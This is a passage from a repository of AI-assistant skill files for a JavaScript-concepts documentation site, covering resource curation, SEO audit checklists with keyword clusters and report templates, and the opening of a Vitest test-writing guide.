[Title] | XX | Published 2014, uses var throughout | Replace with [modern alternative] | | [Title] | XX | Pre-ES6, no mention of let/const | Find updated version or replace | --- ## Description Improvements Needed | Resource | Line | Current | Suggested | |----------|------|---------|-----------| | [Title] | XX | "A guide to closures" | "[Specific description with value prop]" | | [Title] | XX | "Learn about promises" | "[What makes it unique]. [Why read it]." | --- ## Missing Resources (Recommendations) | Type | Gap | Suggested Resource | URL | |------|-----|-------------------|-----| | Reference | No main MDN link | [Topic] — MDN | [URL] | | Article | No beginner guide | [Title] — javascript.info | [URL] | | Video | No visual explanation | [Title] — [Creator] | [URL] | | Article | No advanced deep-dive | [Title] — 2ality | [URL] | --- ## Non-JavaScript Resources (Remove) | Resource | Line | Issue | |----------|------|-------| | [Title] | XX | Primarily about C#, not JavaScript | --- ## Action Items ### High Priority (Do First) 1. **Remove broken link:** [Title] (line XX) 2. **Add missing MDN reference:** [Topic] 3. **Replace outdated resource:** [Title] with [alternative] ### Medium Priority 1. **Update redirect URL:** [Title] (line XX) 2. **Improve description:** [Title] (line XX) 3. **Add beginner-friendly article** ### Low Priority 1. **Add additional video resource** 2. **Consider adding course section** --- ## Verification Checklist After making changes: - [ ] All broken links removed or replaced - [ ] All redirect URLs updated - [ ] Outdated resources replaced - [ ] Generic descriptions rewritten - [ ] Missing resource types added - [ ] Resource counts meet targets - [ ] All new links verified working - [ ] All descriptions are specific and valuable ``` --- ## Quick Reference ### Icon Reference | Content Type | Icon Value | |--------------|------------| | MDN/Official docs | `book` | | Articles/Blog posts | `newspaper` | | Videos | `video` | | Courses | `graduation-cap` | | Books | `book` | | Related concepts | Context-appropriate | ### Character Guidelines | Element | Guideline | |---------|-----------| | Card title | Keep concise, include creator for videos | | Description sentence 1 | What it covers / what's unique | | Description sentence 2 | Why read/watch / who it's for | ### Resource Ordering Within each section, order resources: 1. **Most foundational/beginner-friendly first** 2. **Official references before community content** 3. **Most highly recommended prominently placed** 4. **Advanced/niche content last** --- ## Quality Checklist ### Link Verification - [ ] All links return 200 (not 404, 301) - [ ] No redirect chains - [ ] No hard paywalls without notice - [ ] All URLs are HTTPS where available ### Content Quality - [ ] All resources are JavaScript-focused - [ ] No resources teaching anti-patterns - [ ] Publication dates appropriate for topic - [ ] Mix of beginner and advanced content - [ ] Visual and text resources included ### Description Quality - [ ] All descriptions are specific (not generic) - [ ] Descriptions explain unique value - [ ] No "comprehensive guide to..." phrases - [ ] Each description is 2 sentences - [ ] Descriptions match actual content ### Completeness - [ ] 2-4 MDN/official references - [ ] 4-6 quality articles - [ ] 3-4 quality videos - [ ] Resources ordered logically - [ ] Diversity in teaching styles --- ## Summary When curating resources for a concept page: 1. **Audit first** — Check all existing links and content 2. **Identify gaps** — Compare against targets (2-4 refs, 4-6 articles, 3-4 videos) 3. **Find quality resources** — Search trusted sources 4. **Write specific descriptions** — What's unique + why read/watch 5. **Format correctly** — Proper Card syntax, icons, ordering 6. **Document changes** — Use the audit report template **Remember:** Resources should enhance learning, not pad the page. Every link should offer genuine value. Quality over quantity — a few excellent resources beat many mediocre ones. ================================================ FILE: .claude/skills/seo-review/SKILL.md ================================================ --- name: seo-review description: Perform a focused SEO audit on JavaScript concept pages to maximize search visibility, featured snippet optimization, and ranking potential --- # Skill: SEO Audit for Concept Pages Use this skill to perform a focused SEO audit on concept documentation pages for the 33 JavaScript Concepts project. The goal is to maximize search visibility for JavaScript developers. ## When to Use - Before publishing a new concept page - When optimizing underperforming pages - Periodic content audits - After major content updates - When targeting new keywords ## Goal Each concept page should rank for searches like: - "what is [concept] in JavaScript" - "how does [concept] work in JavaScript" - "[concept] JavaScript explained" - "[concept] JavaScript tutorial" - "[concept] JavaScript example" --- ## SEO Audit Methodology Follow these five steps for a complete SEO audit. ### Step 1: Identify Target Keywords Before auditing, identify the keyword cluster for the concept. #### Keyword Cluster Template | Type | Pattern | Example (Closures) | |------|---------|-------------------| | **Primary** | [concept] JavaScript | closures JavaScript | | **What is** | what is [concept] in JavaScript | what is a closure in JavaScript | | **How does** | how does [concept] work | how do closures work | | **How to** | how to use/create [concept] | how to use closures | | **Why** | why use [concept] | why use closures JavaScript | | **Examples** | [concept] examples | closure examples JavaScript | | **vs** | [concept] vs [related] | closures vs scope | | **Interview** | [concept] interview questions | closure interview questions | ### Step 2: On-Page SEO Audit Check all on-page SEO elements systematically. ### Step 3: Featured Snippet Optimization Verify content is structured to win featured snippets. ### Step 4: Internal Linking Audit Check the internal link structure. ### Step 5: Generate Report Document findings using the report template. --- ## Keyword Clusters by Concept Use these pre-built keyword clusters for each concept. | Type | Keywords | |------|----------| | Primary | JavaScript call stack, call stack JavaScript | | What is | what is the call stack in JavaScript | | How does | how does the call stack work | | Error | maximum call stack size exceeded, stack overflow JavaScript | | Visual | call stack visualization, call stack explained | | Interview | call stack interview questions JavaScript | | Type | Keywords | |------|----------| | Primary | JavaScript primitive types, primitives in JavaScript | | What are | what are primitive types in JavaScript | | List | JavaScript data types, types in JavaScript | | vs | primitives vs objects JavaScript | | typeof | typeof JavaScript, JavaScript typeof operator | | Interview | JavaScript types interview questions | | Type | Keywords | |------|----------| | Primary | JavaScript value vs reference, pass by reference JavaScript | | What is | what is pass by value in JavaScript | | How does | how does JavaScript pass objects | | Comparison | value types vs reference types JavaScript | | Copy | how to copy objects JavaScript, deep copy JavaScript | | Type | Keywords | |------|----------| | Primary | JavaScript type coercion, type conversion JavaScript | | What is | what is type coercion in JavaScript | | How does | how does type coercion work | | Implicit | implicit type conversion JavaScript | | Explicit | explicit type conversion JavaScript | | Interview | type coercion interview questions | | Type | Keywords | |------|----------| | Primary | JavaScript equality, == vs === JavaScript | | What is | what is the difference between == and === | | Comparison | loose equality vs strict equality JavaScript | | Best practice | when to use == vs === | | Interview | JavaScript equality interview questions | | Type | Keywords | |------|----------| | Primary | JavaScript closures, JavaScript scope | | What is | what is a closure in JavaScript, what is scope | | How does | how do closures work, how does scope work | | Types | types of scope JavaScript, lexical scope | | Use cases | closure use cases, why use closures | | Interview | closure interview questions JavaScript | | Type | Keywords | |------|----------| | Primary | JavaScript event loop, event loop JavaScript | | What is | what is the event loop in JavaScript | | How does | how does the event loop work | | Visual | event loop visualization, event loop explained | | Related | call stack event loop, task queue JavaScript | | Interview | event loop interview questions | | Type | Keywords | |------|----------| | Primary | JavaScript Promises, Promises in JavaScript | | What is | what is a Promise in JavaScript | | How to | how to use Promises, how to chain Promises | | Methods | Promise.all, Promise.race, Promise.allSettled | | Error | Promise error handling, Promise catch | | vs | Promises vs callbacks, Promises vs async await | | Type | Keywords | |------|----------| | Primary | JavaScript async await, async await JavaScript | | What is | what is async await in JavaScript | | How to | how to use async await, async await tutorial | | Error | async await error handling, try catch async | | vs | async await vs Promises | | Interview | async await interview questions | | Type | Keywords | |------|----------| | Primary | JavaScript this keyword, this in JavaScript | | What is | what is this in JavaScript | | How does | how does this work in JavaScript | | Binding | call apply bind JavaScript, this binding | | Arrow | this in arrow functions | | Interview | this keyword interview questions | | Type | Keywords | |------|----------| | Primary | JavaScript prototype, prototype chain JavaScript | | What is | what is a prototype in JavaScript | | How does | how does prototype inheritance work | | Chain | prototype chain explained | | vs | prototype vs class JavaScript | | Interview | prototype interview questions JavaScript | | Type | Keywords | |------|----------| | Primary | JavaScript DOM, DOM manipulation JavaScript | | What is | what is the DOM in JavaScript | | How to | how to manipulate DOM JavaScript | | Methods | getElementById, querySelector JavaScript | | Events | DOM events JavaScript, event listeners | | Performance | DOM performance, virtual DOM vs DOM | | Type | Keywords | |------|----------| | Primary | JavaScript higher order functions, higher order functions | | What are | what are higher order functions | | Examples | map filter reduce JavaScript | | How to | how to use higher order functions | | Interview | higher order functions interview | | Type | Keywords | |------|----------| | Primary | JavaScript recursion, recursion in JavaScript | | What is | what is recursion in JavaScript | | How to | how to write recursive functions | | Examples | recursion examples JavaScript | | vs | recursion vs iteration JavaScript | | Interview | recursion interview questions | --- ## Audit Checklists ### Title Tag Checklist (4 points) | # | Check | Points | How to Verify | |---|-------|--------|---------------| | 1 | Length 50-60 characters | 1 | Count characters in `title` frontmatter | | 2 | Primary keyword in first half | 1 | Concept name appears early | | 3 | Ends with "in JavaScript" | 1 | Check title ending | | 4 | Contains compelling hook | 1 | Promises value/benefit to reader | **Scoring:** - 4/4: ✅ Excellent - 3/4: ⚠️ Good, minor improvements possible - 0-2/4: ❌ Needs significant work **Title Formula:** ``` [Concept]: [What You'll Understand] in JavaScript ``` **Good Examples:** | Concept | Title (with character count) | |---------|------------------------------| | Closures | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) | | Event Loop | "Event Loop: How Async Code Actually Runs in JavaScript" (54 chars) | | Promises | "Promises: Handling Async Operations in JavaScript" (49 chars) | | DOM | "DOM: How Browsers Represent Web Pages in JavaScript" (51 chars) | **Bad Examples:** | Issue | Bad Title | Better Title | |-------|-----------|--------------| | Too short | "Closures" | "Closures: How Functions Remember Their Scope in JavaScript" | | Too long | "Understanding JavaScript Closures and How They Work with Examples" (66 chars) | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) | | No hook | "JavaScript Closures" | "Closures: How Functions Remember Their Scope in JavaScript" | | Missing "JavaScript" | "Understanding Closures and Scope" | Add "in JavaScript" at end | --- ### Meta Description Checklist (4 points) | # | Check | Points | How to Verify | |---|-------|--------|---------------| | 1 | Length 150-160 characters | 1 | Count characters in `description` frontmatter | | 2 | Starts with action word | 1 | "Learn", "Understand", "Discover" (NOT "Master") | | 3 | Contains primary keyword | 1 | Concept name + "JavaScript" present | | 4 | Promises specific value | 1 | Lists what reader will learn | **Description Formula:** ``` [Action word] [what it is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3]. ``` **Good Examples:** | Concept | Description | |---------|-------------| | Closures | "Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns." (159 chars) | | Event Loop | "Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking." (176 chars - trim!) | | DOM | "Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering." (162 chars) | **Bad Examples:** | Issue | Bad Description | Fix | |-------|-----------------|-----| | Too short | "Learn about closures" | Expand to 150-160 chars with specifics | | Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." | | Too vague | "A guide to closures" | List specific topics covered | | Missing keyword | "Functions can remember things" | Include "closures" and "JavaScript" | --- ### Keyword Placement Checklist (5 points) | # | Check | Points | How to Verify | |---|-------|--------|---------------| | 1 | Primary keyword in title | 1 | Check frontmatter `title` | | 2 | Primary keyword in meta description | 1 | Check frontmatter `description` | | 3 | Primary keyword in first 100 words | 1 | Check opening paragraphs | | 4 | Keyword in at least one H2 heading | 1 | Scan all `##` headings | | 5 | No keyword stuffing | 1 | Content reads naturally | **Keyword Placement Map:** ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ KEYWORD PLACEMENT │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 🔴 CRITICAL (Must have keyword) │ │ ───────────────────────────────── │ │ • title frontmatter │ │ • description frontmatter │ │ • First paragraph (within 100 words) │ │ • At least one H2 heading │ │ │ │ 🟡 RECOMMENDED (Include naturally) │ │ ────────────────────────────────── │ │ • "What you'll learn" Info box │ │ • H3 subheadings │ │ • Key Takeaways section │ │ • First sentence after major H2s │ │ │ │ ⚠️ AVOID │ │ ───────── │ │ • Same phrase >4 times per 1000 words │ │ • Forcing keywords where pronouns work better │ │ • Awkward sentence structures to fit keywords │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ### Content Structure Checklist (6 points) | # | Check | Points | How to Verify | |---|-------|--------|---------------| | 1 | Opens with question hook | 1 | First paragraph asks engaging question | | 2 | Code example in first 200 words | 1 | Simple example appears early | | 3 | "What you'll learn" Info box | 1 | `` component after opening | | 4 | Short paragraphs (2-4 sentences) | 1 | Scan content for long blocks | | 5 | 1,500+ words | 1 | Word count check | | 6 | Key terms bolded on first mention | 1 | Important terms use `**bold**` | **Content Structure Template:** ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ IDEAL PAGE STRUCTURE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 1. QUESTION HOOK (First 50 words) │ │ "How does JavaScript...? Why do...?" │ │ │ │ 2. BRIEF ANSWER + CODE EXAMPLE (Words 50-200) │ │ Quick explanation + simple code demo │ │ │ │ 3. "WHAT YOU'LL LEARN" INFO BOX │ │ 5-7 bullet points │ │ │ │ 4. PREREQUISITES WARNING (if applicable) │ │ Link to required prior concepts │ │ │ │ 5. MAIN CONTENT SECTIONS (H2s) │ │ Each H2 answers a question or teaches a concept │ │ Include code examples, diagrams, tables │ │ │ │ 6. COMMON MISTAKES / GOTCHAS SECTION │ │ What trips people up │ │ │ │ 7. KEY TAKEAWAYS │ │ 8-10 numbered points summarizing everything │ │ │ │ 8. TEST YOUR KNOWLEDGE │ │ 5-6 Q&A accordions │ │ │ │ 9. RELATED CONCEPTS │ │ 4 cards linking to related topics │ │ │ │ 10. RESOURCES (Reference, Articles, Videos) │ │ MDN links, curated articles, videos │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ### Featured Snippet Checklist (4 points) | # | Check | Points | How to Verify | |---|-------|--------|---------------| | 1 | "What is X" has 40-60 word definition | 1 | Count words in first paragraph after "What is" H2 | | 2 | At least one H2 is phrased as question | 1 | Check for "What is", "How does", "Why" H2s | | 3 | Numbered steps for "How to" content | 1 | Uses `` component or numbered list | | 4 | Comparison tables (if applicable) | 1 | Tables for "X vs Y" content | **Featured Snippet Patterns:** ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ FEATURED SNIPPET FORMATS │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ QUERY TYPE WINNING FORMAT YOUR CONTENT │ │ ─────────── ────────────── ──────────── │ │ │ │ "What is X" Paragraph 40-60 word definition │ │ after H2, bold keyword │ │ │ │ "How to X" Numbered list component or │ │ 1. 2. 3. markdown │ │ │ │ "X vs Y" Table | Feature | X | Y | │ │ comparison table │ │ │ │ "Types of X" Bullet list - **Type 1** — desc │ │ - **Type 2** — desc │ │ │ │ "[X] examples" Code block ```javascript │ │ + explanation // example code │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` **Definition Paragraph Example (40-60 words):** ```markdown ## What is a Closure in JavaScript? A **closure** is a function that retains access to variables from its outer (enclosing) scope, even after that outer function has finished executing. Closures are created every time a function is created in JavaScript, allowing inner functions to "remember" and access their lexical environment. ``` (This is 52 words - perfect for a featured snippet) --- ### Internal Linking Checklist (4 points) | # | Check | Points | How to Verify | |---|-------|--------|---------------| | 1 | 3-5 related concepts linked in body | 1 | Count `/concepts/` links in prose | | 2 | Descriptive anchor text | 1 | No "click here", "here", "this" | | 3 | Prerequisites in Warning box | 1 | `` with links at start | | 4 | Related Concepts section has 4 cards | 1 | `` at end with 4 Cards | **Good Anchor Text:** | ❌ Bad | ✓ Good | |--------|--------| | "click here" | "event loop concept" | | "here" | "JavaScript closures" | | "this article" | "our Promises guide" | | "read more" | "understanding the call stack" | **Link Placement Strategy:** ```markdown **Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) and the [Event Loop](/concepts/event-loop). Read those first if needed. When the callback finishes, it's added to the task queue — managed by the [event loop](/concepts/event-loop). async/await is built on top of Promises ``` --- ### Technical SEO Checklist (3 points) | # | Check | Points | How to Verify | |---|-------|--------|---------------| | 1 | Single H1 per page | 1 | Only one `#` heading (the title) | | 2 | URL slug contains keyword | 1 | `/concepts/closures` not `/concepts/topic-1` | | 3 | No orphan pages | 1 | Page is linked from at least one other page | **H1 Rule:** Every page should have exactly ONE H1 (your main title). This is critical for SEO: - The H1 tells Google what the page is about - Multiple H1s confuse search engines about page hierarchy - All other headings should be H2 (`##`) and below - The H1 should contain your primary keyword ```markdown # Closures in JavaScript ← This is your H1 (only one!) ## What is a Closure? ← H2 for sections ### Lexical Scope ← H3 for subsections ## How Closures Work ← Another H2 ``` **URL/Slug Best Practices:** | ✅ Good | ❌ Bad | |---------|--------| | `/concepts/closures` | `/concepts/c1` | | `/concepts/event-loop` | `/concepts/topic-7` | | `/concepts/type-coercion` | `/concepts/abc123` | | `/concepts/async-await` | `/concepts/async_await` | Rules for slugs: - **Include primary keyword** — The concept name should be in the URL - **Use hyphens, not underscores** — `event-loop` not `event_loop` - **Keep slugs short and readable** — Under 50 characters - **No UUIDs, database IDs, or random strings** - **Lowercase only** — `/concepts/Event-Loop` should be `/concepts/event-loop` **Orphan Page Detection:** An orphan page has no internal links pointing to it from other pages. This hurts SEO because: - Google may not discover or crawl it frequently - It signals the page isn't important to your site structure - Users can't navigate to it naturally - Link equity doesn't flow to the page **How to check for orphan pages:** 1. Search the codebase for links to this concept: `grep -r "/concepts/[slug]" docs/` 2. Verify it appears in at least one other concept's "Related Concepts" section 3. Check that pages listing it as a prerequisite link back appropriately 4. Ensure it's included in the navigation (`docs.json`) **Fixing orphan pages:** - Add the concept to related pages' "Related Concepts" CardGroup - Link to it naturally in body content of related concepts - Ensure bidirectional linking (if A links to B, B should link back to A where relevant) --- ## Scoring System ### Total Points Available: 30 | Category | Max Points | |----------|------------| | Title Tag | 4 | | Meta Description | 4 | | Keyword Placement | 5 | | Content Structure | 6 | | Featured Snippets | 4 | | Internal Linking | 4 | | Technical SEO | 3 | | **Total** | **30** | ### Score Interpretation | Score | Percentage | Status | Action | |-------|------------|--------|--------| | 27-30 | 90-100% | ✅ Excellent | Ready to publish | | 23-26 | 75-89% | ⚠️ Good | Minor optimizations needed | | 17-22 | 55-74% | ⚠️ Fair | Several improvements needed | | 0-16 | <55% | ❌ Poor | Significant work required | --- ## Common SEO Issues and Fixes ### Title Tag Issues | Issue | Current | Fix | |-------|---------|-----| | Too short (<50 chars) | "Closures" (8) | "Closures: How Functions Remember Their Scope in JavaScript" (58) | | Too long (>60 chars) | "Understanding JavaScript Closures and How They Work with Examples" (66) | "Closures: How Functions Remember Their Scope in JavaScript" (58) | | Missing keyword | "Understanding Scope" | Add concept name: "Closures: Understanding Scope in JavaScript" | | No hook | "JavaScript Closures" | Add benefit: "Closures: How Functions Remember Their Scope in JavaScript" | | Missing "JavaScript" | "Closures Explained" | Add at end: "Closures Explained in JavaScript" | ### Meta Description Issues | Issue | Current | Fix | |-------|---------|-----| | Too short (<120 chars) | "Learn about closures" (20) | Expand with specifics to 150-160 chars | | Too long (>160 chars) | [Gets truncated] | Edit ruthlessly, keep key information | | Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." | | No keyword | "Functions that remember" | Include "closures" and "JavaScript" | | Too vague | "A guide to closures" | List specific topics: "Covers X, Y, and Z" | ### Content Structure Issues | Issue | Fix | |-------|-----| | No question hook | Start with "How does...?" or "Why...?" | | Code example too late | Move simple example to first 200 words | | Missing Info box | Add `` with "What you'll learn" | | Long paragraphs | Break into 2-4 sentence chunks | | Under 1,500 words | Add more depth, examples, edge cases | | No bolded terms | Bold key concepts on first mention | ### Featured Snippet Issues | Issue | Fix | |-------|-----| | No "What is" definition | Add 40-60 word definition paragraph | | Definition too long | Tighten to 40-60 words | | No question H2s | Add "What is X?" or "How does X work?" H2 | | Steps not numbered | Use `` or numbered markdown | | No comparison tables | Add table for "X vs Y" sections | ### Internal Linking Issues | Issue | Fix | |-------|-----| | No internal links | Add 3-5 links to related concepts | | Bad anchor text | Replace "click here" with descriptive text | | No prerequisites | Add `` with prerequisite links | | Empty Related Concepts | Add 4 Cards linking to related topics | ### Technical SEO Issues | Issue | Fix | |-------|-----| | Multiple H1 tags | Keep only one `#` heading (the title), use `##` for all sections | | Slug missing keyword | Rename file to include concept name (e.g., `closures.mdx`) | | Orphan page | Add links from related concept pages' body or Related Concepts section | | Underscore in slug | Use hyphens: `event-loop.mdx` not `event_loop.mdx` | | Uppercase in slug | Use lowercase only: `async-await.mdx` not `Async-Await.mdx` | | Slug too long | Shorten to primary keyword: `closures.mdx` not `understanding-javascript-closures-and-scope.mdx` | --- ## SEO Audit Report Template Use this template to document your findings. ```markdown # SEO Audit Report: [Concept Name] **File:** `/docs/concepts/[slug].mdx` **Date:** YYYY-MM-DD **Auditor:** [Name/Claude] **Overall Score:** XX/30 (XX%) **Status:** ✅ Excellent | ⚠️ Needs Work | ❌ Poor --- ## Score Summary | Category | Score | Status | |----------|-------|--------| | Title Tag | X/4 | ✅/⚠️/❌ | | Meta Description | X/4 | ✅/⚠️/❌ | | Keyword Placement | X/5 | ✅/⚠️/❌ | | Content Structure | X/6 | ✅/⚠️/❌ | | Featured Snippets | X/4 | ✅/⚠️/❌ | | Internal Linking | X/4 | ✅/⚠️/❌ | | Technical SEO | X/3 | ✅/⚠️/❌ | | **Total** | **X/30** | **STATUS** | --- ## Target Keywords **Primary Keyword:** [e.g., "JavaScript closures"] **Secondary Keywords:** - [keyword 1] - [keyword 2] - [keyword 3] **Search Intent:** Informational / How-to / Comparison --- ## Title Tag Analysis **Current Title:** "[current title from frontmatter]" **Character Count:** XX characters **Score:** X/4 | Check | Status | Notes | |-------|--------|-------| | Length 50-60 chars | ✅/❌ | XX characters | | Primary keyword in first half | ✅/❌ | [notes] | | Ends with "in JavaScript" | ✅/❌ | [notes] | | Contains compelling hook | ✅/❌ | [notes] | **Issues Found:** [if any] **Recommended Title:** "[suggested title]" (XX chars) --- ## Meta Description Analysis **Current Description:** "[current description from frontmatter]" **Character Count:** XX characters **Score:** X/4 | Check | Status | Notes | |-------|--------|-------| | Length 150-160 chars | ✅/❌ | XX characters | | Starts with action word | ✅/❌ | Starts with "[word]" | | Contains primary keyword | ✅/❌ | [notes] | | Promises specific value | ✅/❌ | [notes] | **Issues Found:** [if any] **Recommended Description:** "[suggested description]" (XX chars) --- ## Keyword Placement Analysis **Score:** X/5 | Location | Present | Notes | |----------|---------|-------| | Title | ✅/❌ | [notes] | | Meta description | ✅/❌ | [notes] | | First 100 words | ✅/❌ | Found at word XX | | H2 heading | ✅/❌ | Found in: "[H2 text]" | | Natural reading | ✅/❌ | [no stuffing / stuffing detected] | **Missing Keyword Placements:** - [ ] [Location where keyword should be added] --- ## Content Structure Analysis **Word Count:** X,XXX words **Score:** X/6 | Check | Status | Notes | |-------|--------|-------| | Question hook opening | ✅/❌ | [notes] | | Code in first 200 words | ✅/❌ | Code appears at word XX | | "What you'll learn" box | ✅/❌ | [present/missing] | | Short paragraphs | ✅/❌ | [notes on paragraph length] | | 1,500+ words | ✅/❌ | X,XXX words | | Bolded key terms | ✅/❌ | [notes] | **Structure Issues:** - [ ] [Issue and recommendation] --- ## Featured Snippet Analysis **Score:** X/4 | Check | Status | Notes | |-------|--------|-------| | 40-60 word definition | ✅/❌ | Currently XX words | | Question-format H2 | ✅/❌ | Found: "[H2]" / Not found | | Numbered steps | ✅/❌ | [notes] | | Comparison tables | ✅/❌/N/A | [notes] | **Snippet Opportunities:** 1. **"What is [concept]" snippet:** - Current definition: XX words - Action: [Expand to/Trim to] 40-60 words 2. **"How to [action]" snippet:** - Action: [Add Steps component / Already present] --- ## Internal Linking Analysis **Score:** X/4 | Check | Status | Notes | |-------|--------|-------| | 3-5 internal links in body | ✅/❌ | Found X links | | Descriptive anchor text | ✅/❌ | [notes] | | Prerequisites in Warning | ✅/❌ | [present/missing] | | Related Concepts section | ✅/❌ | X cards present | **Current Internal Links:** 1. [Anchor text] → `/concepts/[slug]` 2. [Anchor text] → `/concepts/[slug]` **Recommended Links to Add:** - Link to [concept] in [section/context] - Link to [concept] in [section/context] **Bad Anchor Text Found:** - Line XX: "click here" → change to "[descriptive text]" --- ## Technical SEO Analysis **Score:** X/3 | Check | Status | Notes | |-------|--------|-------| | Single H1 per page | ✅/❌ | [Found X H1 tags] | | URL slug contains keyword | ✅/❌ | Current: `/concepts/[slug]` | | Not an orphan page | ✅/❌ | Linked from X other pages | **H1 Tags Found:** - Line XX: `# [H1 text]` ← Should be the only one - [List any additional H1s that need to be changed to H2] **Slug Analysis:** - Current slug: `[slug].mdx` - Contains keyword: ✅/❌ - Format correct: ✅/❌ (lowercase, hyphens, no special chars) **Incoming Links Found:** 1. `/concepts/[other-concept]` → Links to this page in [section] 2. `/concepts/[other-concept]` → Links in Related Concepts **If orphan page, add links from:** - [Suggested concept page] in [section] - [Suggested concept page] in Related Concepts --- ## Priority Fixes ### High Priority (Do First) 1. **[Issue]** - Current: [what it is now] - Recommended: [what it should be] - Impact: [why this matters] 2. **[Issue]** - Current: [what it is now] - Recommended: [what it should be] - Impact: [why this matters] ### Medium Priority 1. **[Issue]** - Recommendation: [fix] ### Low Priority (Nice to Have) 1. **[Issue]** - Recommendation: [fix] --- ## Competitive Analysis (Optional) **Top-Ranking Pages for "[primary keyword]":** 1. **[Competitor 1 - URL]** - What they do well: [observation] - Word count: ~X,XXX 2. **[Competitor 2 - URL]** - What they do well: [observation] - Word count: ~X,XXX **Our Advantages:** - [What we do better] **Gaps to Fill:** - [What we're missing that competitors have] --- ## Implementation Checklist After making fixes, verify: - [ ] Title is 50-60 characters with keyword and hook - [ ] Description is 150-160 characters with action word and value - [ ] Primary keyword in title, description, first 100 words, and H2 - [ ] Opens with question hook - [ ] Code example in first 200 words - [ ] "What you'll learn" Info box present - [ ] Paragraphs are 2-4 sentences - [ ] 1,500+ words total - [ ] Key terms bolded on first mention - [ ] 40-60 word definition for featured snippet - [ ] At least one question-format H2 - [ ] 3-5 internal links with descriptive anchor text - [ ] Prerequisites in Warning box (if applicable) - [ ] Related Concepts section has 4 cards - [ ] Single H1 per page (title only) - [ ] URL slug contains primary keyword - [ ] Page linked from at least one other concept page - [ ] All fixes implemented and verified --- ## Final Recommendation **Ready to Publish:** ✅ Yes / ❌ No - [reason] **Next Review Date:** [When to re-audit, e.g., "3 months" or "after major update"] ``` --- ## Quick Reference ### Character Counts | Element | Ideal Length | |---------|--------------| | Title | 50-60 characters | | Meta Description | 150-160 characters | | Definition paragraph | 40-60 words | ### Keyword Density - Don't exceed 3-4 mentions of exact phrase per 1,000 words - Use variations naturally (e.g., "closures", "closure", "JavaScript closures") ### Content Length | Length | Assessment | |--------|------------| | <1,000 words | Too thin - add depth | | 1,000-1,500 | Minimum viable | | 1,500-2,500 | Good | | 2,500-4,000 | Excellent | | >4,000 | Consider splitting | --- ## Summary When auditing a concept page for SEO: 1. **Identify target keywords** using the keyword cluster for that concept 2. **Check title tag** — 50-60 chars, keyword first, hook, ends with "JavaScript" 3. **Check meta description** — 150-160 chars, action word, keyword, specific value 4. **Verify keyword placement** — Title, description, first 100 words, H2 5. **Audit content structure** — Question hook, early code, Info box, short paragraphs 6. **Optimize for featured snippets** — 40-60 word definitions, numbered steps, tables 7. **Check internal linking** — 3-5 links, good anchors, Related Concepts section 8. **Generate report** — Document score, issues, and prioritized fixes **Remember:** SEO isn't about gaming search engines — it's about making content easy to find for developers who need it. Every optimization should also improve the reader experience. ================================================ FILE: .claude/skills/test-writer/SKILL.md ================================================ --- name: test-writer description: Generate comprehensive Vitest tests for code examples in JavaScript concept documentation pages, following project conventions and referencing source lines --- # Skill: Test Writer for Concept Pages Use this skill to generate comprehensive Vitest tests for all code examples in a concept documentation page. Tests verify that code examples in the documentation are accurate and work as described. ## When to Use - After writing a new concept page - When adding new code examples to existing pages - When updating existing code examples - To verify documentation accuracy through automated tests - Before publishing to ensure all examples work correctly ## Test Writing Methodology Follow these four phases to create comprehensive tests for a concept page. ### Phase 1: Code Example Extraction Scan the concept page for all code examples and categorize them: | Category | Characteristics | Action | |----------|-----------------|--------| | **Testable** | Has `console.log` with output comments, returns values | Write tests | | **DOM-specific** | Uses `document`, `window`, DOM APIs, event handlers | Write DOM tests (separate file) | | **Error examples** | Intentionally throws errors, demonstrates failures | Write tests with `toThrow` | | **Conceptual** | ASCII diagrams, pseudo-code, incomplete snippets | Skip (document why) | | **Browser-only** | Uses browser APIs not available in jsdom | Skip or mock | ### Phase 2: Determine Test File Structure ``` tests/ ├── fundamentals/ # Concepts 1-6 ├── functions-execution/ # Concepts 7-8 ├── web-platform/ # Concepts 9-10 ├── object-oriented/ # Concepts 11-15 ├── functional-programming/ # Concepts 16-19 ├── async-javascript/ # Concepts 20-22 ├── advanced-topics/ # Concepts 23-31 └── beyond/ # Extended concepts └── {subcategory}/ ``` **File naming:** - Standard tests: `{concept-name}.test.js` - DOM tests: `{concept-name}.dom.test.js` ### Phase 3: Convert Examples to Tests For each testable code example: 1. Identify the expected output (from `console.log` comments or documented behavior) 2. Convert to `expect` assertions 3. Add source line reference in comments 4. Group related tests in `describe` blocks matching documentation sections ### Phase 4: Handle Special Cases | Case | Solution | |------|----------| | Browser-only APIs | Use jsdom environment or skip with note | | Timing-dependent code | Use `vi.useFakeTimers()` or test the logic, not timing | | Side effects | Capture output or test mutations | | Intentional errors | Use `expect(() => {...}).toThrow()` | | Async code | Use `async/await` with proper assertions | --- ## Project Test Conventions ### Import Pattern ```javascript import { describe, it, expect } from 'vitest' ``` For DOM tests or tests needing mocks: ```javascript import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' ``` ### DOM Test File Header ```javascript /** * @vitest-environment jsdom */ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' ``` ### Describe Block Organization Match the structure of the documentation: ```javascript describe('Concept Name', () => { describe('Section from Documentation', () => { describe('Subsection if needed', () => { it('should [specific behavior]', () => { // Test }) }) }) }) ``` ### Test Naming Convention - Start with "should" - Be descriptive and specific - Match the documented behavior ```javascript // Good it('should return "object" for typeof null', () => {}) it('should throw TypeError when accessing property of undefined', () => {}) it('should resolve promises in order they were created', () => {}) // Bad it('test typeof', () => {}) it('works correctly', () => {}) it('null test', () => {}) ``` ### Source Line References Always reference the documentation source: ```javascript // 